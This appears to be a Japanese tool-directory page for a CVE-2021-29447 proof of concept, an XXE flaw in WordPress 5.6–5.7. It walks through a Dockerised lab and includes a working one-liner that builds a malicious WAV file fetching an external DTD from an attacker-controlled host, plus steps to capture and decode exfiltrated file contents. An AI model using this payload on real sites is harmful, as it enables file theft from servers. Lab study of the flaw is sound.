Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-29447-PoC | Kitploit
ツール/GitHubGitHub/rdana55/cve-2021-29447-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育
GitHubrdana55/cve-2021-29447-poc

CVE-2021-29447-PoC

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-29447-PoC

概要

CVE-2021-29447 は、PHP 8.0+ で実行されている WordPress バージョン 5.6~5.7(5.7.1 でパッチ適用済み)に影響する XML External Entity (XXE) インジェクションの脆弱性です。この脆弱性は、メディアメタデータの解析に使用される getID3 ライブラリに存在します。

WordPress は getID3 を介して WAV ファイルの iXML チャンクを処理します。getID3 は LIBXML_NOENT フラグを指定して simplexml_load_string() を呼び出します。このフラグは外部エンティティの置換を明示的に有効化し、PHP 8 のデフォルトの XXE 保護(非推奨の libxml_disable_entity_loader())をバイパスします。

  1. 認証済みユーザー(Author 以上)が悪意のある WAV をアップロードする
  2. getID3 → iXML チャンク → simplexml_load_string(XXE_PAYLOAD, LIBXML_NOENT)
  3. 外部 DTD の取得 → PHP data:// ラッパー → 任意のファイルの開示

概念実証(PoC)のセットアップ

この PoC は、Docker 化された WordPress 5.7 + PHP 8.0.3 を使用して脆弱性を実証します。Linux ユーザーは、WAV/DTD ファイルも生成する単一ファイルのスクリプトを使用できます。

▶️: https://youtu.be/YnGowuWHFyY

前提条件と環境構築

  1. Windows ホストに Docker Desktop をインストールします

  2. 専用のプロジェクトディレクトリを作成します(すべての PowerShell コマンドはここで実行します):

    root@kitploit:~
     #powershell
    mkdir cve-2021-29447-poc
     cd cve-2021-29447-poc
    
  3. 脆弱な WordPress をデプロイします:

    root@kitploit:~
     #powershell
     notepad docker-compose.yml
    

    docker-compose.yml の内容をコピー&ペーストします

  4. コンテナを起動します:

    root@kitploit:~
     #powershell
     docker-compose up -d
    
  5. 自動更新を無効化します(脆弱性の維持に重要):

    root@kitploit:~
     #powershell
     docker-compose exec wordpress bash
    
     #bash
     sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
    
     echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
     echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
    
     tail -5 /var/www/html/wp-config-sample.php
     exit
    
  6. 脆弱なバージョンを確認します:

    root@kitploit:~
     #powershell
     docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
    

    期待される結果: WordPress 5.7、PHP 8.0+

  7. WordPress のインストール:

    アクセス: http://localhost:8080

    管理者: test / test / [email protected]

    セットアップを完了 → /wp-admin にアクセス

  8. 攻撃者 IP の確認:

    root@kitploit:~
     #powershell
     ipconfig | findstr IPv4
    

    自身の IP をメモします(例: 192.168.1.196)

エクスプロイトペイロードの生成

  1. DTD ペイロードを作成します:

    root@kitploit:~
     #powershell
     notepad evil.dtd
    

    evil.dtd の内容をコピー&ペーストします

  2. WAV ペイロードを生成します(Linux CLI):

    root@kitploit:~
    #bash
     echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
    

    python3 -m http.server 8000 で転送 → Windows ブラウザでダウンロード(例: http://<VM_IP>:8000)

    注: Windows 環境ではバイナリエスケープの扱いが複雑なため、WAV は別途作成します

  3. エクスプロイトサーバーをデプロイします:

    root@kitploit:~
     #powershell
     notepad exploit.py
    

    exploit.py の内容をコピー&ペーストします

    コマンド:

    root@kitploit:~
     #powershell
     python exploit.py -l YOUR_IP -p PORT 
    

エクスプロイト

  1. XXE をトリガーします:

    http://localhost:8080/wp-admin → メディア → 新規追加

    payload.wav をアップロードします

  2. Python サーバーのコンソールを監視 -> 外部へ漏えいしたデータをキャプチャします

  3. Base64+Zlib ペイロードをデコードします:

    root@kitploit:~
     #powershell
     $bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
    

対策

WordPress 5.7.1+ にアップグレードするか、getID3 の解析時に LIBXML_NOENT を無効にします。

ツールをダウンロード